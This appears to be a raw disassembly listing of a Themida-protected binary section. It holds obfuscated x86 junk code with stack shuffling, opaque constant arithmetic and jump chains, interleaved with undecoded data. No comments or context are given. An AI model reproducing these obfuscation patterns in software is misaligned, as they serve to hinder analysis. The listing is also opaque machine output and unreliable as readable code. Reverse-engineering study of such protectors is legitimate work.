		dd 4B8h, 58C30100h, 8704C383h, 15C241Ch, 243C8BFBh, 50E68956h
		dd 16726852h, 4A5A2E38h, 0F281D2F7h, 0D1C7E98Ah, 15AD089h
		dd 0D629E9C6h, 0CA29FFFFh, 28D8B951h, 61E91DACh, 8B00005Ah
		dd 0C481241Ch, 4, 0A064E9h, 4C78100h, 83000000h, 0FF5704C7h
		dd 8B042474h, 8951243Ch, 4C181E1h, 81000000h, 4C1h, 29ECE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F3FE:				; CODE XREF: Themida_:0055B987j
		add	ebx, eax
		push	ebp
		mov	ebp, 47E44EF1h
		sub	ebx, ebp
		pop	ebp
		jmp	loc_55FAFA
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 3EE92424h, 47FFFFC1h, 69BCF781h, 0F90116C4h,	0FFE0F9E9h
		dd 240C8BFFh, 4C481h, 0EFC00000h, 0B1B05007h, 6605E8C0h
		dd 0C0FDB151h, 0E98006E1h, 2E9C026h, 0BA1BE9h, 2434FF00h
		dd 4C4835Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_56C65F
; ---------------------------------------------------------------------------
		dd 62F5F381h, 0FAE99E52h, 68FFFFCDh, 50B6h, 0E9240489h
		dd 0FFFFC0D9h, 5C24048Fh, 89240489h, 0C2B2E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F48A:				; CODE XREF: Themida_:0056035Fj
		xor	ebx, 80960A84h
		sub	esp, 4
		jmp	loc_56E1FA
; ---------------------------------------------------------------------------
aBuqzVSC	db 'îqzÊv[éЖ',0
		db 0
; ---------------------------------------------------------------------------


loc_55F4A7:				; CODE XREF: Themida_:0056A0C2j
		mov	ecx, 6EB8622Dh
		sub	edx, ecx
		pop	ecx
		pop	ebp
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_5629CE
; ---------------------------------------------------------------------------
		dw 0FD31h
		dd 8485E9h, 0E982B200h,	0FFFFC8B9h, 0AD21CABBh,	4877B900h
		dd 0E98174B2h, 1DA11D46h, 0AA03E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F4DD:				; CODE XREF: Themida_:00561E1Bj
		not	edx
		xchg	edx, ebp
		neg	ebp
		jmp	loc_5634C0
; ---------------------------------------------------------------------------
		dd 24048B66h, 0C54BE9h,	0EC835E00h, 241C8904h, 257AE768h
		dd 0EB815B74h, 5ECD6729h, 0FFE1BFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F509:				; CODE XREF: Themida_:0056BE90j
		pop	esp
		jmp	loc_5634E2
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FBE92434h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F517:				; CODE XREF: Themida_:0056C80Bj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_55EBBE
; ---------------------------------------------------------------------------


loc_55F52A:				; CODE XREF: Themida_:00566D57j
		push	70A1h
		mov	[esp], ecx
		push	39687C31h
		pop	ecx
		add	ecx, 677562CAh
		push	ebx
		mov	ebx, 702D6517h
		sub	ecx, ebx
		pop	ebx
		xor	ecx, 4F92055Eh
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	edi
		mov	edi, 2C872F63h
		add	[esp+4], edi
		pop	edi
		pop	edi
		sub	edi, 2C872F63h
		pop	ecx
		not	edi
		sub	edi, 3EA03955h
		sub	esp, 4
		jmp	loc_569696
; ---------------------------------------------------------------------------
aMrwHsrq	db '¸Mrw#HéQ',0
		dw 6800h
		dd 0
aSii		db '),$騉',0
		align 4


loc_55F5A4:				; CODE XREF: Themida_:0055C535j
		pop	eax
		sub	esp, 4
		jmp	loc_55EB9C
; ---------------------------------------------------------------------------


loc_55F5AD:				; CODE XREF: Themida_:005688B7j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55B9ED
; ---------------------------------------------------------------------------
		db 5Ah,	47h, 81h
		dd 905A4FCFh, 8DF7811Ch, 31E43F74h, 0C3295FF8h,	0FCDCE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F5D6:				; CODE XREF: Themida_:0056BB5Cj
		sub	esp, 4
		jmp	loc_56D595
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 2C468h, 243C8900h, 0C7815F54h, 4, 0E330E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F5FA:				; CODE XREF: Themida_:00566926j
		add	esi, edi
		pop	edi
		add	esi, 414D7065h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_55DB04
; ---------------------------------------------------------------------------
		dw 0D601h
		dd 0B204E9h, 0E9EF0100h, 3542h
; ---------------------------------------------------------------------------


loc_55F620:				; CODE XREF: Themida_:0056116Aj
		pop	si
		mov	ax, dx
		pop	edx
		jmp	loc_560F87
; ---------------------------------------------------------------------------
		db 31h
		dd 0D8295DEBh, 2404875Bh, 2404895Ch, 8953E089h,	4C381E3h
		dd 56000000h, 4BEh, 5EF32900h, 5C241C87h, 0BB241C89h, 6B3B0DC4h
		dd 0E8E9E9h, 1EB85000h,	961C3D66h, 984AE9h, 242C8900h
		dd 0E56B9ABDh, 0E1F5814Fh, 832C9961h, 16E9FFEDh, 0B900003Fh
		dd 87B1C95h, 6542E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F689:				; CODE XREF: Themida_:0055D1A3j
		mov	[esp], eax
		jmp	loc_55D8EE
; ---------------------------------------------------------------------------
		db 0D1h, 0E8h, 25h
		dd 10EA20B7h, 1005CE9h,	242C8B00h, 4C481h, 0C5810000h
		dd 4, 8904EC83h, 0D4BF243Ch, 4F78140Ah,	0F068E9h, 75E95B00h
		dd 96h,	0EDE9C6h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55F6CA:				; CODE XREF: Themida_:0056895Bj
		mov	[esp], ebx
		mov	ebx, 59753193h
		or	edi, ebx
		pop	ebx
		push	esi
		mov	esi, 7E30728h
		jmp	loc_5650DC
; ---------------------------------------------------------------------------
		dd 4B8h, 8F56E900h, 0FF540000h,	0E9582434h, 0B5EFh
; ---------------------------------------------------------------------------


loc_55F6F4:				; CODE XREF: Themida_:0055B99Aj
		mov	eax, edi
		pop	edi
		add	ebx, 132E3109h
		add	ebx, 34954F51h
		jmp	loc_5629DB
; ---------------------------------------------------------------------------
		dd 835BD901h, 0C3304E9h, 4279E924h, 0EB010000h,	17B568h
		dd 243C8900h, 0FFCB95E9h, 59CA29FFh, 6EE9D601h,	8B000087h
		dd 3CD22424h, 1AE99C24h, 5FFFFFBEh, 0FFFED8E9h,	81D9F7FFh
		dd 5E46D8C9h, 0FFC18154h, 8981A01Eh, 0E94359CBh, 0D79Ch
; ---------------------------------------------------------------------------


loc_55F758:				; CODE XREF: Themida_:0055DC8Bj
		push	esi
		mov	esi, 2F2B688Bh
		not	esi
		not	esi
		sub	esi, 340515FCh
		add	esi, 16C3290Eh
		jmp	loc_56D08F
; ---------------------------------------------------------------------------
		db 66h
		dd 53240C8Bh, 4EEAE9h, 240C8900h, 163DE9h, 0C6816600h
		dd 0DAE97027h, 0BD000018h, 22AA106Fh, 0D5F7E5D1h, 2BEC68h
		dd 243C8900h, 5453E0BFh, 5FFD011Dh, 0B8E9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F7AD:				; CODE XREF: Themida_:0056FCFBj
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		add	ebp, 4
		push	ebp
		jmp	loc_561D4C
; ---------------------------------------------------------------------------
		db 80h
		dd 0C5803CC5h, 66F580FFh, 0E959E828h, 0FFFFE065h, 17386468h
		dd 0E72DE93Ah, 0C483FFFFh, 0E9565004h, 1010Bh, 0CD80C5FEh
		dd 0D521E960h, 0F9290000h, 81D1015Fh, 55473CC1h, 24148B45h
		dd 5E08950h, 4,	8704C083h, 835C2404h, 0C3302C1h, 240C3124h
		dd 5C240C33h, 0E99CC138h, 0FFFFBD31h
; ---------------------------------------------------------------------------


loc_55F824:				; CODE XREF: Themida_:005684A0j
		add	ebp, 1E68350Ch
		jmp	loc_55B965
; ---------------------------------------------------------------------------
		db 89h
		dd 0E1815AD1h, 1DFB5E11h, 0CFA8E9h, 39E95C00h, 5A00006Dh
		dd 61C968h, 243C8900h, 5C95E9h,	48B6600h, 4E39E924h, 45B10000h
		dd 8CF6E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F861:				; CODE XREF: Themida_:005682FFj
		push	ebx
		jmp	loc_56662E
; ---------------------------------------------------------------------------
		db 89h
		dd 3868240Ch, 8900005Bh, 4832424h, 0E9590424h, 530Ah
; ---------------------------------------------------------------------------


loc_55F87C:				; CODE XREF: Themida_:00560729j
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5696D6
; ---------------------------------------------------------------------------


loc_55F88C:				; CODE XREF: Themida_:00563B05j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56E793
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 64AF6EF5h, 0FFFB19E9h, 240C89FFh, 0C181E189h, 4, 3304C183h
		dd 0C31240Ch, 0ADF8E924h, 895C0000h, 34812404h,	9F545D24h
		dd 38428F4Ah, 38BB53h, 0D3010000h, 70B5E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F8DA:				; CODE XREF: Themida_:005634C1j
		mov	ebx, 6AFF05B9h
		or	ebp, ebx
		pop	ebx
		jmp	loc_55CE5B
; ---------------------------------------------------------------------------
		db 87h
		dd 895C241Ch, 5153240Ch, 78002C68h, 2128E959h, 0EE810000h
		dd 160A15Fh, 5EB9EB81h,	0F30170DFh, 5EB9C381h, 0E95E70DFh
		dd 0FFFFEF7Fh, 642DED81h, 0BFE96C69h, 5A000028h, 5585450h
		dd 4, 0C081E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F92E:				; CODE XREF: Themida_:0055BE8Cj
		add	ecx, 5C864565h
		sub	ecx, 2B5C7101h
		pop	eax
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_56C8AB
; ---------------------------------------------------------------------------
		db 52h
		dd 7E5DBEBAh, 0A8EA817Fh, 0E91CF762h, 0FFFFEB53h, 8704C783h
		dd 89E9243Ch
		db 7Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F96B:				; CODE XREF: Themida_:0056E38Dj
		xor	ecx, eax
		pop	eax
		sub	esi, 0B436E11h
		add	esi, ecx
		add	esi, 0B436E11h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5612EC
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 5000000h, 8EEFF0FFh, 4B84E981h, 0C1814692h
		dd 38ED74C0h, 0E981C101h, 38ED74C0h, 0B0D3E9h, 74FF5300h
		dd 0E95B0424h, 0FFFFF0C2h, 0EF815E58h, 73511B41h, 0C781EF01h
		dd 73511B41h, 83242C8Bh, 94E904C4h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F9D7:				; CODE XREF: Themida_:0056D8B2j
		mov	ecx, eax
		jmp	loc_562386
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 1D4AC281h, 0F2816E76h, 1E955CE3h, 66FFF281h,	0C2814D89h
		dd 5B9D2492h, 2D5AD001h, 4, 8B240487h, 3C892424h, 34FF5424h
		dd 19F5E924h, 99BA0000h, 0B80B3D14h, 58F3D1Bh, 55AD031h
		dd 2C555103h, 6C51E9h, 4BD5500h, 1000000h, 4055DE8h, 87000000h
		dd 0E95C2404h, 0FD56h, 5C243C87h, 0FFD114E9h, 52D388FFh
		dd 8904EC83h, 0DC882404h, 5158E288h, 888D188h, 7B52E959h
		dd 60680000h, 89000042h, 0FDBA2414h, 0BF4CAE38h, 6D5F6E8Ch
		dd 4931E9h, 4C48300h, 0E6E95451h, 0B60000C1h, 8BF5881Ah
		dd 0C4832414h, 0FFEA2004h, 1BE92434h
		db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FA97:				; CODE XREF: Themida_:0056DC31j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_567EEF
; ---------------------------------------------------------------------------
aSp		db '[é¯Ý',0
		align 2
		dw 0E6C1h
		dd 0C3EE8103h, 0E9F6770Eh, 82A4h, 241C8B66h, 0F602C483h
		dd 1C380D3h, 80A4E380h,	0D9203EC3h, 83241C8Bh, 0E95304C4h
		dd 0FFFFE9DEh, 0BF243C89h, 5F8D3A29h, 0F2B6E94Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FAFA:				; CODE XREF: Themida_:0055F409j
		push	edi
		push	edx
		add	dword ptr [esp], 43F4244Fh
		jmp	loc_564CD2
; ---------------------------------------------------------------------------


loc_55FB08:				; CODE XREF: Themida_:00567E6Ej
		pop	ecx
		add	ecx, 52512253h
		add	ecx, ebp
		sub	ecx, 52512253h
		jmp	loc_56E3DE
; ---------------------------------------------------------------------------
		dd 4E5DEE21h, 0C681D6F7h, 77CC0303h, 8104E6C1h,	5F80BBF6h
		dd 5EF301ADh, 6932C281h, 0DA010378h, 63C8E9h, 0FFD32900h
		dd 835A2434h, 82E904C4h, 2900002Bh, 0EFC158C7h,	3F78105h
		dd 0E954BBCCh, 0BFB9h, 88E95F54h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55FB67:				; CODE XREF: Themida_:0056F3F1j
		inc	esi
		and	esi, 11BE4D1Bh
		and	esi, 4C5F0A00h
		sub	esi, 1E07FCh
		push	esi
		xor	dword ptr [esp], 2F9A3D46h
		pop	edi
		jmp	loc_5633DF
; ---------------------------------------------------------------------------
		dd 4BAh, 0E2E98100h, 11AD721h, 0E2C181D1h, 5A1AD721h, 5C240C87h
		dd 4BE56h, 0C3810000h, 56C65502h, 7419BE56h, 0F3297A88h
		dd 0E9F3015Eh, 0FFFFF5ADh, 9D1C77FFh, 0D3665966h, 0E99C241Ch
		dd 0FFFFB989h
; ---------------------------------------------------------------------------


loc_55FBCC:				; CODE XREF: Themida_:00565F92j
		pop	esp
		movsx	ecx, ax
		push	7E3Ch
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_563F34
; ---------------------------------------------------------------------------
		db 80h
		dd 0F580DFE5h, 59EA0041h, 1CEB80h, 1CC380D3h, 0FFDD7EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FBF9:				; CODE XREF: Themida_:0056A7E5j
		push	2DDAh
		mov	[esp], ebp
		mov	ebp, 2
		add	ebx, ebp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebx
		jmp	loc_55D232
; ---------------------------------------------------------------------------


loc_55FC21:				; CODE XREF: Themida_:00563CFBj
		pop	edi
		jmp	loc_55C342
; ---------------------------------------------------------------------------


loc_55FC27:				; CODE XREF: Themida_:0055BF18j
		sub	eax, 0FFFFFFFFh
		push	edi
		mov	edi, 0B2C70654h
		sub	eax, 3D452A1Ah
		jmp	loc_563141
; ---------------------------------------------------------------------------


loc_55FC3C:				; CODE XREF: Themida_:0056461Cj
		add	esi, 3DE70FB3h
		shl	esi, 6
		jmp	loc_567ED8
; ---------------------------------------------------------------------------
		dw 3DB4h
		dd 1DE9E328h, 310000E0h, 0D8215EF3h, 81241C8Bh,	4C4h, 4EC8100h
		dd 0E9000000h, 1442h, 33240C31h, 4BE9240Ch, 81000047h
		dd 4C4h, 0ECE28100h, 0E9132D12h, 9A82h
; ---------------------------------------------------------------------------


loc_55FC88:				; CODE XREF: Themida_:0055B853j
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		jmp	loc_566E46
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9512404h, 65FFh, 4E5C195h,	0C581DDF7h, 0B77B89B7h
		dd 0ADEEE9h
		db 0
; ---------------------------------------------------------------------------


loc_55FCB5:				; CODE XREF: Themida_:00568B10j
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	4DD8h
		mov	[esp], eax
		jmp	loc_56347B
; ---------------------------------------------------------------------------


loc_55FCCF:				; CODE XREF: Themida_:0056FC49j
		sub	[esp+8], ebp
		sub	dword ptr [esp+8], 4049Fh
		pop	ebp
		jmp	loc_55ED0F
; ---------------------------------------------------------------------------
		db 1, 0D0h, 5Ah
		dd offset dword_534058+791h
		dd 8EDC100h, 920AE957h,	3C870000h, 24895C24h, 24048124h
		dd 4, 4827E9h, 2434FF00h, 729FE9h, 0D0C68100h, 4E73E340h
		dd 400EBD55h, 9E90C47h,	8100006Eh, 4C1h, 5DE95200h, 87FFFFFEh
		dd 0C5E92404h, 0E900009Fh, 0FFFFB81Dh, 52A6E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FD3E:				; CODE XREF: Themida_:00563927j
		mov	esi, 0BAE527Fh
		add	esi, 58B0782Dh
		not	esi
		add	esi, 0A4C8F6D8h
		xor	esi, 58C66E3Eh
		sub	ecx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		push	1A3F14D1h
		pop	esi
		xor	ecx, esi
		mov	esi, [esp]
		jmp	loc_56D3F1
; ---------------------------------------------------------------------------


loc_55FD73:				; CODE XREF: Themida_:0055CD62j
		not	edi
		xchg	edi, edx
		push	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_55DC76
; ---------------------------------------------------------------------------


loc_55FD8F:				; CODE XREF: Themida_:00565C06j
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_561E7A
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 81000000h,	4C1h, 45206800h, 14890000h, 12BE5624h
		dd 81171802h, 0E7FDF2C6h, 5EF289E8h, 515AD129h,	42474FFh
		dd 24048F59h, 0E924248Bh, 0F532h
; ---------------------------------------------------------------------------


loc_55FDD4:				; CODE XREF: Themida_:0055CF4Cj
		mov	[esp], ebx
		jmp	loc_55E040
; ---------------------------------------------------------------------------
		dd 0E89EE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FDE2:				; CODE XREF: Themida_:0055C035j
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_568BC3
; ---------------------------------------------------------------------------
		db 53h
		dd 0ECC057BBh, 8BDE3113h, 0C483241Ch, 0E9F03104h, 0FFFFF0A0h
; ---------------------------------------------------------------------------


loc_55FE04:				; CODE XREF: Themida_:00565663j
		mov	ebx, ecx
		jmp	loc_565561
; ---------------------------------------------------------------------------
aRitsul		db 'R‰âéã«',0
		dw 6600h
aSrsv		db 'SRéV+',0
		db 0
; ---------------------------------------------------------------------------


loc_55FE1B:				; CODE XREF: Themida_:005691E5j
		xor	eax, 78BF0CCAh
		xor	eax, 766B142Fh
		jmp	loc_560811
; ---------------------------------------------------------------------------
		dw 6CBDh
		dd 12BE2EFh, 242C8BEFh,	0E904C483h, 1FC3h
; ---------------------------------------------------------------------------


loc_55FE3C:				; CODE XREF: Themida_:0056E6E6j
		push	esp
		jmp	loc_560CA4
; ---------------------------------------------------------------------------
		dw 68h
		dd 0E9000000h, 0FFFFE565h, 4C481h, 12E90000h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55FE57:				; CODE XREF: Themida_:00568E5Ej
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		push	36E8122Eh
		mov	edx, [esp]
		add	esp, 4
		push	606Eh
		mov	[esp], ebx
		mov	ebx, 785A568Ch
		and	edx, ebx
		jmp	loc_563933
; ---------------------------------------------------------------------------
		dw 0EA68h
		dd 8900002Dh, 84BA2414h, 0E9040557h, 749Ch
; ---------------------------------------------------------------------------


loc_55FE94:				; CODE XREF: Themida_:0055ED56j
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_56839F
; ---------------------------------------------------------------------------


loc_55FE9F:				; CODE XREF: Themida_:005655C7j
		pop	esp
		xor	dl, 0EAh
		add	bl, dl
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5702C5
; ---------------------------------------------------------------------------
		dd 592434FFh, 52F068h, 241C8900h, 0F587E954h, 4D45FFFFh
		dd 9DE9D5F7h
		db 0B1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FECB:				; CODE XREF: Themida_:00565C59j
		push	ecx
		mov	ch, 0BAh
		mov	dl, ch
		pop	ecx
		xor	dl, bh
		jmp	loc_5625B5
; ---------------------------------------------------------------------------
		dd 0E1895158h, 4C181h, 0E9830000h, 240C8704h, 2434895Ch
		dd 5255E689h, 97CDE9h
		db 0
; ---------------------------------------------------------------------------


loc_55FEF5:				; CODE XREF: Themida_:0055E864j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_55D8E0
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0F7CF87D1h, 66DAE9D7h, 895C0000h, 32E9241Ch,	66FFFFFBh
		dd 5324048Bh, 0DC3CE954h, 4B05FFFFh, 2D0F1250h,	7763EC3h
		dd 2214D52Dh, 5F8291Dh,	1D2214D5h, 763EC305h, 504B2D07h
		dd 7E050F12h, 5F6BE635h, 6077C381h, 4D686571h, 89000018h
		dd 0D3E92404h, 5D00003Fh, 8BEE015Ah, 0C483242Ch, 4C68104h
		dd 33000000h, 34312434h, 24343324h, 0F24248Bh, 3A68C8BEh
		dd 89000047h, 0CEE9240Ch, 5BFFFFB5h, 0E6E4E9h, 7489BE00h
		dd 0E68126D4h, 7F9B53F9h, 0F031C631h, 8EE9C631h, 5F000072h
		dd 4EC8152h, 54000000h,	6824048Fh, 13A3h, 0FFCCF4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FFB9:				; CODE XREF: Themida_:0055E6D1j
		pop	dword ptr [esp]
		jmp	loc_56E227
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0AFh
		dd 0B96F1832h, 6F1832AFh, 4A02E981h, 0D929687Eh, 4A02C181h
		dd 1C8B687Eh, 0D557E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FFE2:				; CODE XREF: Themida_:0055D509j
		xor	dword ptr [esp], 46581AE3h
		pop	ecx
		xor	ecx, 46581AE3h
		pop	edi
		sub	edi, 290816C8h
		sub	edi, 4F2267ABh
		add	edi, ecx


loc_55FFFF:				; DATA XREF: Themida_:0057E910o
		add	edi, 4F2267ABh
		add	edi, 290816C8h
		jmp	loc_564E7B
; ---------------------------------------------------------------------------
		dd 24048F5Eh, 9268E9h, 0FDEA8000h, 148BD728h, 84ACE924h
		dd 0BB350000h, 5095739Dh, 2434FF59h, 8324048Bh,	0C48104C4h
		dd 4, 4EC8153h,	0E9000000h, 0ABC3h, 31241C33h, 1C33241Ch
		dd 24248B24h, 81E78957h, 4C7h, 13BD5500h, 0C173BE32h, 0DDF704EDh
		dd 1CDBED81h, 7AE9F8C4h, 1000007h, 0E8685DEFh, 0E9000076h
		dd 0A708h
; ---------------------------------------------------------------------------


loc_560080:				; CODE XREF: Themida_:0056BBA3j
		or	eax, eax
		jz	loc_56066E
		push	dword ptr [edi+28h]
		push	esi
		mov	esi, 5ECE1836h
		xor	[esp+4], esi
		pop	esi
		pop	eax
		jmp	loc_5624A4
; ---------------------------------------------------------------------------
		dd 2C28358h, 0BCBFE9h, 24148B00h, 4C481h, 0F3290000h, 5A54525Eh
		dd 4C281h, 1EE90000h, 0C10000E2h, 0F68102E6h, 50B91290h
		dd 0E95EF029h, 10495h, 3DDCED81h, 0EB898C61h, 57242C8Bh
		dd 0DF57E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5600E2:				; CODE XREF: Themida_:00562A6Fj
		push	ebp
		mov	ebp, 4
		add	edi, 0AC4680Ch
		add	edi, 66C30CA2h
		add	edi, ebp
		sub	edi, 66C30CA2h
		sub	edi, 0AC4680Ch
		jmp	loc_563699
; ---------------------------------------------------------------------------
		db 33h
		dd 1C31241Ch, 241C3324h, 7D7CE9h, 83ED8100h, 114E504h
		dd 242C8BE8h, 0DA40E9h,	0F8E95A00h, 81000100h, 83ECBDC3h
		dd 8BD80109h, 8951241Ch, 4C181E1h, 81000000h, 4C1h, 240C8700h
		dd 1C3C2D5Ch, 34FF1035h, 0C4835D24h, 40504h, 4870000h
		dd 0A48EE924h, 0C1810000h, 4, 5C240C87h, 60B8505Fh, 0C1667F77h
		dd 0BF5705E0h, 33B504C8h, 0E95FF801h, 22Bh, 81E38953h
		dd 4C3h, 0D080E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560192:				; CODE XREF: Themida_:00566406j
		add	ecx, edx
		sub	ecx, 6120270h
		pop	edx
		not	ecx
		or	ecx, 104948F1h
		push	esi
		jmp	loc_5670A6
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 0B92D0000h, 0E918FC50h, 12F3h, 8B2434FFh, 0C4812434h
		dd 4, 104C483h,	14875BDAh, 48B5C24h, 0E00DE924h, 0C181FFFFh
		dd 60BD2BC1h, 1F5CE95Dh, 0CE290000h, 8BF58959h,	0D8E92434h
		dd 81000040h, 0F611DFC7h, 0A97FE9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5601FA:				; CODE XREF: Themida_:0056E277j
		push	ecx
		push	ebx
		jmp	loc_56C747
; ---------------------------------------------------------------------------
aWsP		db 'WéÀP',0
		dw 8000h
		dd 0EDC083C5h, 0DCF58003h, 0E9E88850h, 0E65Ch, 30D1305Ah
		dd 0C0D130CAh, 0B35304E9h, 0E34BE9A8h, 0E9590000h, 0FFFFC6B2h
		dd 8735FFBAh, 0B2F28148h, 310E6206h, 24148BD1h,	2904C483h
		dd 0EA8159CAh, 78067BEAh, 582434FFh, 81E18951h,	4C1h, 4BD5500h
		dd 1000000h, 0C875DE9h,	109EE924h, 0EC810000h, 4, 52243489h
		dd 85CB49BAh, 5AD689E5h, 12B5ED81h, 0F5010FC0h,	12B5C581h
		dd 0E95E0FC0h, 0FFFFCC36h
; ---------------------------------------------------------------------------


loc_560290:				; CODE XREF: Themida_:005668D1j
		pop	ebx
		push	ecx
		mov	ecx, edi
		jmp	loc_56BD8E
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 5368525Ch, 5A408A3Fh, 5742D2F7h, 2F6246BFh, 134FE972h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5602B2:				; CODE XREF: Themida_:0056A13Ej
		push	esp
		pop	ebp
		push	7698h
		mov	[esp], edi
		mov	edi, 24831C4Fh
		push	edx
		mov	edx, 0DB7CE3B5h
		sub	edi, 32EC16CDh
		add	edi, 1B231112h
		add	edi, edx
		sub	edi, 1B231112h
		jmp	loc_5663B6
; ---------------------------------------------------------------------------


loc_5602E0:				; CODE XREF: Themida_:0055D128j
		add	edi, 4
		push	ecx
		jmp	loc_56DA2B
; ---------------------------------------------------------------------------
		dd 34FFDE89h, 0C4835B24h, 28A0E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5602FA:				; CODE XREF: Themida_:00562099j
		xchg	edx, [esp]
		jmp	loc_56726B
; ---------------------------------------------------------------------------
		dw 665Ch
		dd 6866E1F7h, 89662ED7h, 0E92414h, 5000017h, 7165341Bh
		dd 0D466E9h, 4C48100h, 0C1000000h, 0F38102E3h, 0A379D518h
		dd 98E9DE89h, 89FFFFF0h, 62B9240Ch, 687B0777h, 2C23h, 0BD242C89h
		dd 7B077764h, 0EAF3E9h
		db 0
; ---------------------------------------------------------------------------


loc_56034D:				; CODE XREF: Themida_:0056EF4Dj
		push	esi
		not	dword ptr [esp]
		pop	esi
		jmp	loc_56A150
; ---------------------------------------------------------------------------


loc_560357:				; CODE XREF: Themida_:00561A8Ej
		shr	ebx, 2
		neg	ebx
		shl	ebx, 7
		jmp	loc_55F48A
; ---------------------------------------------------------------------------


loc_560364:				; CODE XREF: Themida_:0055DD8Aj
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	43B4h
		mov	[esp], edx
		push	712F4AF0h
		jmp	loc_55D1A8
; ---------------------------------------------------------------------------


loc_560380:				; CODE XREF: Themida_:00566D3Fj
		pop	ebp
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		add	ebx, edi
		mov	[ebx], eax
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	eax, [esp]
		push	eax
		push	esp
		jmp	loc_567ABB
; ---------------------------------------------------------------------------
		db 5Fh,	5Dh, 52h
		dd 6D426851h, 0C1597A7Dh, 6AE904E1h, 56000024h,	0EF46E5BEh
		dd 39CE816Dh, 0F736576Ah, 0E7E946DEh, 89FFFFB8h, 5B54241Ch
		dd 4C381h, 0EB830000h, 241C8704h, 0FFDE98E9h, 1335BEFFh
		dd 0F5011CB6h, 241C8B5Eh, 0BB04C483h, 331B6141h, 34FFEB29h
		dd 3A36E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5603F6:				; CODE XREF: Themida_:0055E99Dj
		mov	ebp, 46041DD2h
		jmp	loc_56BE1D
; ---------------------------------------------------------------------------
		dd 57E9DEF7h, 55000001h, 5DF36857h, 0C15F4450h,	0EC8304EFh
